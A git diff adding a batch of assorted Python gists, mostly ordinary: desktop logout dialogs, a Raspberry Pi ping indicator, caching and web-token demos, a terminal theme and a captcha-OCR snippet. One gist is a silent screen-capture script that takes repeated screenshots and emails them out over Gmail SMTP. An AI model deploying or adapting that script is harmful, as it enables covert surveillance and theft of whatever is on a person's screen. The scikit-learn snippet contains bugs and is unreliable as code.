+	def cancel_action(self,btn):
+		self.disable_buttons()
+		gtk.main_quit()
+
+	def logout_action(self,btn):
+		self.disable_buttons()
+		self.status.set_label("Exiting Openbox, please standby...")
+		os.system("openbox --exit")
+
+	def suspend_action(self,btn):
+		self.disable_buttons()
+		self.status.set_label("suspending, please standby...")
+		os.system("cb-lock")
+		os.system("dbus-send --system --print-reply --dest=\"org.freedesktop.UPower\" /org/freedesktop/UPower org.freedesktop.UPower.Suspend")
+		gtk.main_quit()
+
+	def hibernate_action(self,btn):
+		self.disable_buttons()
+		self.status.set_label("hibernating, please standby...")
+		os.system("cb-lock")
+		os.system("dbus-send --system --print-reply --dest=\"org.freedesktop.UPower\" /org/freedesktop/UPower org.freedesktop.UPower.Hibernate")
+		gtk.main_quit()
+
+	def reboot_action(self,btn):
+		self.disable_buttons()
+		self.status.set_label("Rebooting, please standby...")
+		os.system("dbus-send --system --print-reply --dest=\"org.freedesktop.ConsoleKit\" /org/freedesktop/ConsoleKit/Manager org.freedesktop.ConsoleKit.Manager.Restart")
+
+	def shutdown_action(self,btn):
+		self.disable_buttons()
+		self.status.set_label("Shutting down, please standby...")
+		os.system("dbus-send --system --print-reply --dest=\"org.freedesktop.ConsoleKit\" /org/freedesktop/ConsoleKit/Manager org.freedesktop.ConsoleKit.Manager.Stop")
+
+	def create_window(self):
+		self.window = gtk.Window()
+		title = "Log out " + getpass.getuser() + "? Choose an option:"
+		self.window.set_title(title)
+		self.window.set_border_width(5)
+		self.window.set_size_request(600, 80)
+		self.window.set_resizable(False)
+		self.window.set_keep_above(True)
+		self.window.stick
+		self.window.set_position(1)
+		self.window.connect("delete_event", gtk.main_quit)
+		windowicon = self.window.render_icon(gtk.STOCK_QUIT, gtk.ICON_SIZE_MENU)
+		self.window.set_icon(windowicon)
+
+		
+		#Create HBox for buttons
+		self.button_box = gtk.HBox()
+		self.button_box.show()
+		
+		#Cancel button
+		self.cancel = gtk.Button(stock = gtk.STOCK_CANCEL)
+		self.cancel.set_border_width(4)
+		self.cancel.connect("clicked", self.cancel_action)
+		self.button_box.pack_start(self.cancel)
+		self.cancel.show()
+		
+		#Logout button
+		self.logout = gtk.Button("_Log out")
+		self.logout.set_border_width(4)
+		self.logout.connect("clicked", self.logout_action)
+		self.button_box.pack_start(self.logout)
+		self.logout.show()
+		
+		#Suspend button
+		self.suspend = gtk.Button("_Suspend")
+		self.suspend.set_border_width(4)
+		self.suspend.connect("clicked", self.suspend_action)
+		self.button_box.pack_start(self.suspend)
+		self.suspend.show()
+		
+		#Hibernate button
+		self.hibernate = gtk.Button("_Hibernate")
+		self.hibernate.set_border_width(4)
+		self.hibernate.connect("clicked", self.hibernate_action)
+		self.button_box.pack_start(self.hibernate)
+		self.hibernate.show()
+		
+		#Reboot button
+		self.reboot = gtk.Button("_Reboot")
+		self.reboot.set_border_width(4)
+		self.reboot.connect("clicked", self.reboot_action)
+		self.button_box.pack_start(self.reboot)
+		self.reboot.show()
+		
+		#Shutdown button
+		self.shutdown = gtk.Button("_Power off")
+		self.shutdown.set_border_width(4)
+		self.shutdown.connect("clicked", self.shutdown_action)
+		self.button_box.pack_start(self.shutdown)
+		self.shutdown.show()
+		
+		#Create HBox for status label
+		self.label_box = gtk.HBox()
+		self.label_box.show()
+		self.status = gtk.Label()
+		self.status.show()
+		self.label_box.pack_start(self.status)
+		
+		#Create VBox and pack the above HBox's
+		self.vbox = gtk.VBox()
+		self.vbox.pack_start(self.button_box)
+		self.vbox.pack_start(self.label_box)
+		self.vbox.show()
+		
+		self.window.add(self.vbox)
+		self.window.show()
+		
+	def __init__(self):
+		self.create_window()
+
+
+def main():
+    gtk.main()
+
+if __name__ == "__main__":
+    go = cb_exit()
+    main()
diff --git a/hard-gists/5658529/._snippet.py b/hard-gists/5658529/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5658529/._snippet.py differ
diff --git a/hard-gists/5658529/snippet.py b/hard-gists/5658529/snippet.py
new file mode 100644
index 00000000..d74d28bd
--- /dev/null
+++ b/hard-gists/5658529/snippet.py
@@ -0,0 +1,64 @@
+from PIL import ImageGrab 
+import time 
+import smtplib 
+import os 
+import threading 
+import email 
+from email.mime.multipart import MIMEMultipart 
+from email.mime.base import MIMEBase 
+from email.mime.text import MIMEText 
+from email.utils import COMMASPACE, formatdate 
+from email import encoders 
+
+ready = False 
+mensaje = MIMEMultipart() 
+def attachFiles(msg): 
+    for i in range(15):  
+        time.sleep(6) 
+        extention = ".jpg" 
+        filename = "cap"  
+        ImageGrab.grab().save(filename+extention, "JPEG") 
+        part = MIMEBase('application', "octet-stream") 
+        part.set_payload( open(filename+extention,"rb").read() ) 
+        encoders.encode_base64(part) 
+        part.add_header('Content-Disposition',  
+                        'attachment; filename="%s"' % os.path.basename(filename+str(i)+extention)) 
+        msg.attach(part) 
+    return msg 
+         
+def writeMsg():     
+    while True: 
+        msg = MIMEMultipart() 
+        send_to = ["maildeunamigo@gmail.com","miemail@gmail.com"] 
+        msg['To'] = COMMASPACE.join(send_to) 
+        msg['Date'] = formatdate(localtime=True) 
+        msg['Subject'] = "capturas %s" % time.clock() 
+        msg.attach( MIMEText("aca van las capturas") ) 
+        global mensaje 
+        global ready 
+        mensaje = attachFiles(msg) 
+        ready = True 
+
+def send(): 
+    global ready 
+    global mensaje 
+    while True: 
+        if ready: 
+            gmail_user = 'tugemail@gmail.com' 
+            gmail_pwd = 'tupass' 
+            smtpserver = smtplib.SMTP("smtp.gmail.com",587) 
+            smtpserver.ehlo() 
+            smtpserver.starttls() 
+            smtpserver.ehlo() 
+            mensaje['From'] = gmail_user 
+            smtpserver.login(gmail_user, gmail_pwd) 
+            smtpserver.sendmail(gmail_user, mensaje['To'], mensaje.as_string()) 
+            ready = False 
+            smtpserver.close() 
+
+t1 = threading.Thread(target=writeMsg) 
+t1.start() 
+t1.join(10) 
+t2 = threading.Thread(target=send) 
+t2.start() 
+t2.join(10) 
\ No newline at end of file
diff --git a/hard-gists/5660363/._snippet.py b/hard-gists/5660363/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5660363/._snippet.py differ
diff --git a/hard-gists/5660363/snippet.py b/hard-gists/5660363/snippet.py
new file mode 100644
index 00000000..91a4c764
--- /dev/null
+++ b/hard-gists/5660363/snippet.py
@@ -0,0 +1,59 @@
+#!/usr/bin/env python
+
+import RPi.GPIO as gpio
+from time import sleep
+import re
+import sys
+
+gpio.setmode(gpio.BCM)
+red = 23
+yel = 24
+grn = 25
+lit = 22
+on = red
+blink = .05
+
+def fastflash(pin):
+    for i in range(3):
+        gpio.output(pin, gpio.HIGH)
+        sleep(blink)
+        gpio.output(pin, gpio.LOW)
+        sleep(blink)
+
+def setup(lights):
+    for pin in lights:
+        gpio.setup(pin, gpio.OUT)
+        gpio.output(pin, gpio.LOW)
+
+def main():
+    global on
+    setup([red, yel, grn, lit])
+    while True:
+        line = sys.stdin.readline()
+        gpio.output(lit, gpio.HIGH)
+        sleep(blink)
+        gpio.output(lit, gpio.LOW)
+        match = re.match(r'.*? time ?= ?(\d+)(?:\.\d+)? ?ms.*', line)
+
+        if not match or len(match.group(1)) < 1:
+            gpio.output(on, gpio.LOW)
+            fastflash(red)
+            on = red
+        elif len(match.group(1)) <= 2:
+            gpio.output(on, gpio.LOW)
+            gpio.output(grn, gpio.HIGH)
+            on = grn
+        elif len(match.group(1)) == 3:
+            gpio.output(on, gpio.LOW)
+            gpio.output(yel, gpio.HIGH)
+            on = yel
+        else:
+            gpio.output(on, gpio.LOW)
+            gpio.output(red, gpio.HIGH)
+            on = red
+
+if __name__ == '__main__':
+    try:
+        main()
+    finally:
+        gpio.cleanup()
\ No newline at end of file
diff --git a/hard-gists/5660624/._snippet.py b/hard-gists/5660624/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5660624/._snippet.py differ
diff --git a/hard-gists/5660624/snippet.py b/hard-gists/5660624/snippet.py
new file mode 100644
index 00000000..49a02a32
--- /dev/null
+++ b/hard-gists/5660624/snippet.py
@@ -0,0 +1,127 @@
+from wsgiref.simple_server import make_server
+
+from pyramid.config import Configurator
+from pyramid.response import Response
+from pyramid.compat import text_type
+
+from sqlalchemy.orm import scoped_session
+from sqlalchemy.orm import sessionmaker
+from sqlalchemy import create_engine
+from sqlalchemy.ext.declarative import declarative_base
+from sqlalchemy.ext.declarative import declared_attr
+from sqlalchemy.orm import relationship
+from sqlalchemy.orm import backref
+from sqlalchemy.orm import joinedload
+import sqlalchemy as sa
+
+from caching_query import FromCache
+from caching_query import RelationshipCache
+from caching_query import query_callable
+
+from dogpile.cache import make_region
+
+import hashlib
+cache_region = make_region()
+
+regions = {
+    "default": cache_region
+}
+
+DBSession = scoped_session(
+    sessionmaker(query_cls=query_callable(regions))
+)
+
+
+def md5_key_mangler(key):
+    """Receive cache keys as long concatenated strings;
+    distill them into an md5 hash.
+
+    """
+    d = hashlib.md5(key.encode('utf-8'))
+    return d.hexdigest()
+
+
+class BaseModel(object):
+    @declared_attr
+    def pk(self):
+        return sa.Column(sa.Integer, primary_key=True)
+
+    @declared_attr
+    def date_created(self):
+        return sa.Column(sa.DateTime)
+
+Base = declarative_base(cls=BaseModel)
+
+class User(Base):
+    __tablename__ = 'users'
+    username = sa.Column(sa.String)
+
+class UserProfile(Base):
+    __tablename__ = 'user_profile'
+    first_name = sa.Column(sa.Unicode(255))
+    user_pk = sa.Column(sa.Integer, sa.ForeignKey(User.pk))
+    user = relationship(User, backref=backref('profile', uselist=False))
+
+def get_user_by_username(session, username, with_profile=True,
+        from_cache=True):
+
+    query = session.query(User).filter(
+        User.username == username
+    )
+
+    if with_profile:
+        query = query.options(joinedload('profile'))
+
+    if from_cache: 
+        print("Pulling from cache")
+        query = query.options(FromCache())
+        query = query.options(RelationshipCache(User.profile))
+
+    user = query.one()
+
+    return user
+
+def hello_world(request):
+    user = get_user_by_username(DBSession, 'sontek')
+    return Response('hello! user #%d' % user.pk)
+
+def main():
+    config = Configurator()
+
+    engine = create_engine('sqlite:///foo.db')
+
+    DBSession.configure(bind=engine)
+
+    Base.metadata.drop_all(engine)
+    Base.metadata.create_all(engine)
+
+    user1 = User(
+        username=text_type('sontek')
+    )
+
+    profile = UserProfile(
+        user=user1
+        , first_name=text_type('John')
+    )
+
+    DBSession.add_all([user1, profile])
+
+    cache_settings = {
+        "cache.redis.backend":"dogpile.cache.redis",
+        "cache.redis.arguments.host": "localhost",
+        "cache.redis.arguments.port": 6379,
+    }
+
+    cache_region.configure_from_config(cache_settings, "cache.redis.")
+
+
+    config.add_view(hello_world)
+    app = config.make_wsgi_app()
+
+    return app
+
+if __name__ == '__main__':
+    app = main()
+    server = make_server('0.0.0.0', 8080, app)
+    print("Serving at: http://0.0.0.0:8080")
+    server.serve_forever()
diff --git a/hard-gists/5663cc76aa329b2ddfb5/._snippet.py b/hard-gists/5663cc76aa329b2ddfb5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5663cc76aa329b2ddfb5/._snippet.py differ
diff --git a/hard-gists/5663cc76aa329b2ddfb5/snippet.py b/hard-gists/5663cc76aa329b2ddfb5/snippet.py
new file mode 100644
index 00000000..1c6d41b1
--- /dev/null
+++ b/hard-gists/5663cc76aa329b2ddfb5/snippet.py
@@ -0,0 +1,50 @@
+# This code is an example for a tutorial on Ubuntu Unity/Gnome AppIndicators:
+# http://candidtim.github.io/appindicator/2014/09/13/ubuntu-appindicator-step-by-step.html
+
+import os
+import signal
+import json
+
+from urllib2 import Request, urlopen, URLError
+
+from gi.repository import Gtk as gtk
+from gi.repository import AppIndicator3 as appindicator
+from gi.repository import Notify as notify
+
+
+APPINDICATOR_ID = 'myappindicator'
+
+def main():
+    indicator = appindicator.Indicator.new(APPINDICATOR_ID, os.path.abspath('sample_icon.svg'), appindicator.IndicatorCategory.SYSTEM_SERVICES)
+    indicator.set_status(appindicator.IndicatorStatus.ACTIVE)
+    indicator.set_menu(build_menu())
+    notify.init(APPINDICATOR_ID)
+    gtk.main()
+
+def build_menu():
+    menu = gtk.Menu()
+    item_joke = gtk.MenuItem('Joke')
+    item_joke.connect('activate', joke)
+    menu.append(item_joke)
+    item_quit = gtk.MenuItem('Quit')
+    item_quit.connect('activate', quit)
+    menu.append(item_quit)
+    menu.show_all()
+    return menu
+
+def fetch_joke():
+    request = Request('http://api.icndb.com/jokes/random?limitTo=[nerdy]')
+    response = urlopen(request)
+    joke = json.loads(response.read())['value']['joke']
+    return joke
+
+def joke(_):
+    notify.Notification.new("<b>Joke</b>", fetch_joke(), None).show()
+
+def quit(_):
+    notify.uninit()
+    gtk.main_quit()
+
+if __name__ == "__main__":
+    signal.signal(signal.SIGINT, signal.SIG_DFL)
+    main()
\ No newline at end of file
diff --git a/hard-gists/5665472/._snippet.py b/hard-gists/5665472/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5665472/._snippet.py differ
diff --git a/hard-gists/5665472/snippet.py b/hard-gists/5665472/snippet.py
new file mode 100644
index 00000000..0364c526
--- /dev/null
+++ b/hard-gists/5665472/snippet.py
@@ -0,0 +1,64 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+"""Solarized theme for pantheon-terminal
+
+see http://ethanschoonover.com/solarized
+"""
+import posixpath
+import sys
+from gi.repository import Gio
+
+BASE03  = '#002B36'
+BASE02  = '#073642'
+BASE01  = '#586E75'
+BASE00  = '#657B83'
+BASE0   = '#839496'
+BASE1   = '#93A1A1'
+BASE2   = '#EEE8D5'
+BASE3   = '#FDF6E3'
+YELLOW  = '#B58900'
+ORANGE  = '#CB4B16'
+RED     = '#DC322F'
+MAGENTA = '#D33682'
+VIOLET  = '#6C71C4'
+BLUE    = '#268BD2'
+CYAN    = '#2AA198'
+GREEN   = '#859900'
+# 16 colors palette
+PALETTE = [BASE02, RED, GREEN, YELLOW, BLUE, MAGENTA, CYAN, BASE2,
+           BASE03, ORANGE, BASE01, BASE00, BASE0, VIOLET, BASE1, BASE3]
+           
+SCHEMES = {'dark': {'background_color' : BASE03,
+                    'foreground_color' : BASE0,
+                    'bold_color'       : BASE1},
+                    
+           'light': {'background_color': BASE3,
+                     'foreground_color': BASE00,
+                     'bold_color'      : BASE01}}
+
+def _solarize(scheme):       
+    s = Gio.Settings.new("org.pantheon.terminal.settings")
+    s.set_string("palette", ':'.join(PALETTE))
+    s.set_string("foreground", SCHEMES[scheme]['foreground_color'])
+    s.set_string("background", SCHEMES[scheme]['background_color'])
+    s.set_string("cursor-color", SCHEMES[scheme]['foreground_color'])
+    s.sync()
+    print('applyed {0} scheme'.format(scheme))
+
+def _default():
+    s = Gio.Settings.new("org.pantheon.terminal.settings")
+    s.reset("palette")
+    s.reset("foreground")
+    s.reset("background")
+    s.sync()
+    print('applied defaults')
+    
+def main():
+
+    if len(sys.argv) > 1 and sys.argv[1] in ('dark', 'light'):
+        _solarize(scheme=sys.argv[1])
+    else:
+        _default()
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/5669126/._snippet.py b/hard-gists/5669126/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5669126/._snippet.py differ
diff --git a/hard-gists/5669126/snippet.py b/hard-gists/5669126/snippet.py
new file mode 100644
index 00000000..9ab5f5c3
--- /dev/null
+++ b/hard-gists/5669126/snippet.py
@@ -0,0 +1,95 @@
+from indico.util.fossilize import IFossil
+from MaKaC.common.Announcement import getAnnoucementMgrInstance 
+
+
+@HTTPAPIHook.register
+class RangeHook(HTTPAPIHook):
+    TYPES = ('num', 'char')
+    RE = r'(?P<start>[0-9]+|[a-z])-(?P<end>[0-9]+|[a-z])'
+    DEFAULT_DETAIL = 'simple'
+    MAX_RECORDS = {
+        'simple': 10,
+        'palindrome': 5
+    }
+
+    def _getParams(self):
+        super(RangeHook, self)._getParams()
+        self._start = self._pathParams['start']
+        self._end = self._pathParams['end']
+
+    def export_num(self, aw):
+        try:
+            start = int(self._start)
+            end = int(self._end)
+        except ValueError:
+            raise HTTPAPIError('Invalid value', 400)
+        return RangeFetcher(aw, self).numbers(start, end)
+
+    def export_char(self, aw):
+        if len(self._start) != 1 or len(self._end) != 1:
+            raise HTTPAPIError('Invalid character', 400)
+        return RangeFetcher(aw, self).chars(self._start, self._end)
+
+
+class DummyObject(object):
+    def __init__(self, value):
+        self.value = value
+
+    def getValue(self):
+        return self.value
+
+
+class IDummyFossil(IFossil):
+    def getValue(self):
+        pass
+
+
+class IDummyPalindromeFossil(IDummyFossil):
+    def getPalindrome(self):
+        pass
+    getPalindrome.produce = lambda x: x.value + x.value[::-1]
+
+
+class RangeFetcher(IteratedDataFetcher):
+    DETAIL_INTERFACES = {
+        'simple': IDummyFossil,
+        'palindrome': IDummyPalindromeFossil
+    }
+
+    def numbers(self, start, end):
+        iterable = xrange(int(start), int(end) + 1)
+        iterable = itertools.imap(str, iterable)
+        iterable = itertools.imap(DummyObject, iterable)
+        return self._process(iterable)
+
+    def chars(self, start, end):
+        iterable = xrange(ord(start), ord(end) + 1)
+        iterable = itertools.imap(chr, iterable)
+        iterable = itertools.imap(str, iterable)
+        iterable = itertools.imap(DummyObject, iterable)
+        return self._process(iterable)
+
+
+
+
+@HTTPAPIHook.register
+class AnnouncementHook(HTTPAPIHook):
+    PREFIX = 'api'
+    TYPES = ('announcement',)
+    RE = r'set'
+    GUEST_ALLOWED = False
+    VALID_FORMATS = ('json', 'xml')
+    COMMIT = True
+    HTTP_POST = True
+
+    def _getParams(self):
+        super(AnnouncementHook, self)._getParams()
+        self._message = get_query_parameter(self._queryParams, ['message'], '')
+
+    def _hasAccess(self, aw):
+        return HelperMaKaCInfo.getMaKaCInfoInstance().getAdminList().isAdmin(aw.getUser())
+
+    def api_announcement(self, aw):
+        am = getAnnoucementMgrInstance()
+        am.setText(self._message)
+        return {'message': self._message}
\ No newline at end of file
diff --git a/hard-gists/566ebde618ec18f2bea6/._snippet.py b/hard-gists/566ebde618ec18f2bea6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/566ebde618ec18f2bea6/._snippet.py differ
diff --git a/hard-gists/566ebde618ec18f2bea6/snippet.py b/hard-gists/566ebde618ec18f2bea6/snippet.py
new file mode 100644
index 00000000..be139e9a
--- /dev/null
+++ b/hard-gists/566ebde618ec18f2bea6/snippet.py
@@ -0,0 +1,30 @@
+from sklearn.base import BaseEstimator, Clone
+from sklearn.utils import safe_mask
+class ModelByCluster(BaseEstimator):
+    def __init__(self, clusterer, estimator):
+        self.clusterer = clusterer
+        self.estimator = estimator
+    def fit(self, X, y):
+        self.clusterer_ = clone(self.clusterer)
+        clusters = self.clusterer_.fit_predict(X)
+        n_clusters = len(np.unique(clusters))
+        self.estimators_ = []
+        for c in range(n_clusters):
+            mask = clusters == c
+            est = clone(self.estimator)
+            est.fit(X[safe_mask(X, mask)], y[safe_mask(y, mask)])
+            self.estimators_.append(est)
+        return self
+    def predict(self, X):
+        clusters = self.clusterer_.predict(X)
+        y_tmp = []
+        idx = []
+        for c, est in enumerate(self.estimators_):
+            mask = clusters == c
+            idx.append(np.flatnonzero(mask))
+            predictions.append(est.predict(X[safe_mask(X, mask)]))
+        y_tmp = np.concatenate(y_tmp)
+        idx = np.concatenate(idx)
+        y = np.empty_like(y_tmp)
+        y[idx] = y_tmp
+        return y
\ No newline at end of file
diff --git a/hard-gists/5675359/._snippet.py b/hard-gists/5675359/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5675359/._snippet.py differ
diff --git a/hard-gists/5675359/snippet.py b/hard-gists/5675359/snippet.py
new file mode 100644
index 00000000..689d6986
--- /dev/null
+++ b/hard-gists/5675359/snippet.py
@@ -0,0 +1,133 @@
+#!/usr/bin/env python
+
+# based on cb-exit used in CrunchBang Linux <http://crunchbanglinux.org/>
+
+import pygtk
+pygtk.require('2.0')
+import gtk
+import os
+import getpass
+
+class i3_exit:
+    def disable_buttons(self):
+        self.cancel.set_sensitive(False)
+        self.logout.set_sensitive(False)
+        self.suspend.set_sensitive(False)
+        self.reboot.set_sensitive(False)
+        self.shutdown.set_sensitive(False)
+
+    def cancel_action(self,btn):
+        self.disable_buttons()
+        gtk.main_quit()
+
+    def logout_action(self,btn):
+        self.disable_buttons()
+        self.status.set_label("Exiting i3, please standby...")
+        os.system("i3-msg exit")
+
+    def suspend_action(self,btn):
+        self.disable_buttons()
+        self.status.set_label("Suspending, please standby...")
+        os.system("i3-lock")
+        os.system("dbus-send --system --print-reply \
+                --dest=\"org.freedesktop.UPower\"   \
+                /org/freedesktop/UPower             \
+                org.freedesktop.UPower.Suspend")
+        gtk.main_quit()
+
+    def reboot_action(self,btn):
+        self.disable_buttons()
+        self.status.set_label("Rebooting, please standby...")
+        os.system("dbus-send --system --print-reply   \
+                --dest=\"org.freedesktop.ConsoleKit\" \
+                /org/freedesktop/ConsoleKit/Manager   \
+                org.freedesktop.ConsoleKit.Manager.Restart")
+
+    def shutdown_action(self,btn):
+        self.disable_buttons()
+        self.status.set_label("Shutting down, please standby...")
+        os.system("dbus-send --system --print-reply   \
+                --dest=\"org.freedesktop.ConsoleKit\" \
+                /org/freedesktop/ConsoleKit/Manager   \
+                org.freedesktop.ConsoleKit.Manager.Stop")
+
+    def create_window(self):
+        self.window = gtk.Window()
+        title = "Log out " + getpass.getuser() + "? Choose an option:"
+        self.window.set_title(title)
+        self.window.set_border_width(5)
+        self.window.set_size_request(500, 80)
+        self.window.set_resizable(False)
+        self.window.set_keep_above(True)
+        self.window.stick
+        self.window.set_position(1)
+        self.window.connect("delete_event", gtk.main_quit)
+        windowicon = self.window.render_icon(gtk.STOCK_QUIT, gtk.ICON_SIZE_MENU)
+        self.window.set_icon(windowicon)
+
+        
+        #Create HBox for buttons
+        self.button_box = gtk.HBox()
+        self.button_box.show()
+        
+        #Cancel button
+        self.cancel = gtk.Button(stock = gtk.STOCK_CANCEL)
+        self.cancel.set_border_width(4)
+        self.cancel.connect("clicked", self.cancel_action)
+        self.button_box.pack_start(self.cancel)
+        self.cancel.show()
+        
+        #Logout button
+        self.logout = gtk.Button("_Log out")
+        self.logout.set_border_width(4)
+        self.logout.connect("clicked", self.logout_action)
+        self.button_box.pack_start(self.logout)
+        self.logout.show()
+        
+        #Suspend button
+        self.suspend = gtk.Button("_Suspend")
+        self.suspend.set_border_width(4)
+        self.suspend.connect("clicked", self.suspend_action)
+        self.button_box.pack_start(self.suspend)
+        self.suspend.show()
+        
+        #Reboot button
+        self.reboot = gtk.Button("_Reboot")
+        self.reboot.set_border_width(4)
+        self.reboot.connect("clicked", self.reboot_action)
+        self.button_box.pack_start(self.reboot)
+        self.reboot.show()
+        
+        #Shutdown button
+        self.shutdown = gtk.Button("_Power off")
+        self.shutdown.set_border_width(4)
+        self.shutdown.connect("clicked", self.shutdown_action)
+        self.button_box.pack_start(self.shutdown)
+        self.shutdown.show()
+        
+        #Create HBox for status label
+        self.label_box = gtk.HBox()
+        self.label_box.show()
+        self.status = gtk.Label()
+        self.status.show()
+        self.label_box.pack_start(self.status)
+        
+        #Create VBox and pack the above HBox's
+        self.vbox = gtk.VBox()
+        self.vbox.pack_start(self.button_box)
+        self.vbox.pack_start(self.label_box)
+        self.vbox.show()
+        
+        self.window.add(self.vbox)
+        self.window.show()
+        
+    def __init__(self):
+        self.create_window()
+
+
+def main():
+    gtk.main()
+
+if __name__ == "__main__":
+    go = i3_exit()
+    main()
\ No newline at end of file
diff --git a/hard-gists/5679049/._snippet.py b/hard-gists/5679049/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5679049/._snippet.py differ
diff --git a/hard-gists/5679049/snippet.py b/hard-gists/5679049/snippet.py
new file mode 100644
index 00000000..4db7e3f9
--- /dev/null
+++ b/hard-gists/5679049/snippet.py
@@ -0,0 +1,10 @@
+import cv2.cv as cv
+import tesseract
+gray = cv.LoadImage('captcha.jpeg', cv.CV_LOAD_IMAGE_GRAYSCALE)
+cv.Threshold(gray, gray, 231, 255, cv.CV_THRESH_BINARY)
+api = tesseract.TessBaseAPI()
+api.Init(".","eng",tesseract.OEM_DEFAULT)
+api.SetVariable("tessedit_char_whitelist", "0123456789abcdefghijklmnopqrstuvwxyz")
+api.SetPageSegMode(tesseract.PSM_SINGLE_WORD)
+tesseract.SetCvImage(gray,api)
+print api.GetUTF8Text()
\ No newline at end of file
diff --git a/hard-gists/5680477/._snippet.py b/hard-gists/5680477/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5680477/._snippet.py differ
diff --git a/hard-gists/5680477/snippet.py b/hard-gists/5680477/snippet.py
new file mode 100644
index 00000000..19587c51
--- /dev/null
+++ b/hard-gists/5680477/snippet.py
@@ -0,0 +1,82 @@
+
+from itsdangerous import JSONWebSignatureSerializer, BadSignature, SignatureExpired
+import calendar
+import datetime
+
+class TimedJSONWebSignatureSerializer(JSONWebSignatureSerializer):
+
+    EXPIRES_IN_AN_HOUR = 3600
+
+    def __init__(self, secret_key, salt=None, serializer=None, signer=None, signer_kwargs=None, algorithm_name=None, expires_in=None):
+        super(TimedJSONWebSignatureSerializer, self).__init__(secret_key, salt, serializer, signer, signer_kwargs,
+            algorithm_name)
+        if not expires_in:
+            expires_in = self.EXPIRES_IN_AN_HOUR
+        self.expires_in = expires_in
+
+    def loads(self, s, salt=None, return_header=False):
+        payload = super(TimedJSONWebSignatureSerializer, self).loads(s, salt, return_header)
+
+        if not 'exp' in payload:
+            raise BadSignature("Missing ['exp'] expiry date", payload=payload)
+
+        if not isinstance(payload['exp'], int) and payload['exp'] > 0:
+            raise BadSignature("['exp'] expiry date is not and IntDate", payload=payload)
+
+        if payload['exp'] < self.now():
+            raise SignatureExpired(
+                'Signature expired',
+                payload=payload)
+
+        return super(TimedJSONWebSignatureSerializer, self).loads(s, salt, return_header)
+
+    def dumps(self, obj, salt=None, header_fields=None):
+        iat = self.now()
+        exp = iat + self.expires_in
+        obj['iat'] = iat
+        obj['exp'] = exp
+        return super(TimedJSONWebSignatureSerializer, self).dumps(obj, salt=salt, header_fields=header_fields)
+
+    def now(self):
+        return calendar.timegm(datetime.datetime.utcnow().utctimetuple())
+  
+
+import mock
+from hamcrest import *
+
+
+class TimedJSONWebSignatureSerializerTest(unittest.TestCase): 
+ 
+    def setUp(self): 
+        # Use the original implementation to create 'invalid' tokens 
+        self.invalid_token_empty = JSONWebSignatureSerializer("secret").dumps({}) 
+        self.invalid_token_wrong_type = JSONWebSignatureSerializer("secret").dumps({'exp':'geloet'}) 
+ 
+    def test_token_contains_issue_date_and_expiry_time(self): 
+        t = TimedJSONWebSignatureSerializer("secret") 
+        result = t.dumps({'es': 'geht'}) 
+        assert_that(t.loads(result), has_items('exp', 'iat')) 
+ 
+    def test_token_expires_at_given_expiry_time(self): 
+        s = TimedJSONWebSignatureSerializer("secret") 
+        an_hour_ago = calendar.timegm(datetime.datetime.utcnow().utctimetuple()) - 3601 
+        s.now = mock.MagicMock(return_value=an_hour_ago) 
+        result = s.dumps({'foo':'bar'}) 
+        with self.assertRaises(SignatureExpired): 
+            TimedJSONWebSignatureSerializer('secret').loads(result) 
+ 
+    def test_token_is_invalid_if_expiry_time_is_missing(self): 
+        t = TimedJSONWebSignatureSerializer("secret") 
+        with self.assertRaises(BadSignature): 
+            t.loads(self.invalid_token_empty) 
+ 
+    def test_token_is_invalid_if_expiry_time_is_of_wrong_type(self): 
+        t = TimedJSONWebSignatureSerializer("secret") 
+        with self.assertRaises(BadSignature): 
+            t.loads(self.invalid_token_wrong_type) 
+ 
+    def test_creating_a_token_adds_the_expiry_date(self): 
+        EXPIRES_IN_TWO_HOURS = 7200 
+        t = TimedJSONWebSignatureSerializer("secret", expires_in=EXPIRES_IN_TWO_HOURS) 
+        result = t.loads(t.dumps({'foo': 'bar'})) 
+        assert_that(result['exp'] - result['iat'], is_(EXPIRES_IN_TWO_HOURS)) 
\ No newline at end of file
diff --git a/hard-gists/5682306/._snippet.py b/hard-gists/5682306/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5682306/._snippet.py differ
diff --git a/hard-gists/5682306/snippet.py b/hard-gists/5682306/snippet.py
new file mode 100644
index 00000000..aef22514
--- /dev/null
+++ b/hard-gists/5682306/snippet.py
@@ -0,0 +1,91 @@
+
+from collections import defaultdict
+import concurrent.futures
+
+
+class TasksGroup(object):
+    """A group of tasks with dependencies.
+
+    >>> tasks = TasksGroup()
+    >>> @tasks.add()
+    ... def first():
+    ...     print(1)
+    >>> @tasks.add(first)
+    ... def second():
+    ...     print(2)
+    >>> import concurrent.futures
+    >>> with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
+    ...     tasks.run(executor)
+    1
+    2
+    """
+
+    def __init__(self):
+        #: Maps functions to their upstream connections (dependencies)
+        self._upstream = {}
+        #: Maps functions to their downstream connections
+        self._downstream = defaultdict(set)
+
+    def add(self, *depends_on):
+        """Add a task to the group.
+        """
+        def decorator(func):
+            self._upstream[func] = depends_on
+            for f in depends_on:
+                self._downstream[f].add(func)
+            return func
+
+        return decorator
+
+    def run(self, executor):
+        """Run tasks respecting the dependencies using an executor.
+        """
+        count_deps = {task: len(deps) for task, deps in self._upstream.items()}
+        base_tasks = {task for task, count in count_deps.items() if count == 0}
+
+        future_to_task = {executor.submit(task): task for task in base_tasks}
+        not_done = set(future_to_task.keys())
+
+        wait = concurrent.futures.wait
+        FIRST_COMPLETED = concurrent.futures.FIRST_COMPLETED
+        while not_done:
+            done, not_done = wait(not_done, return_when=FIRST_COMPLETED)
+            for future in done:
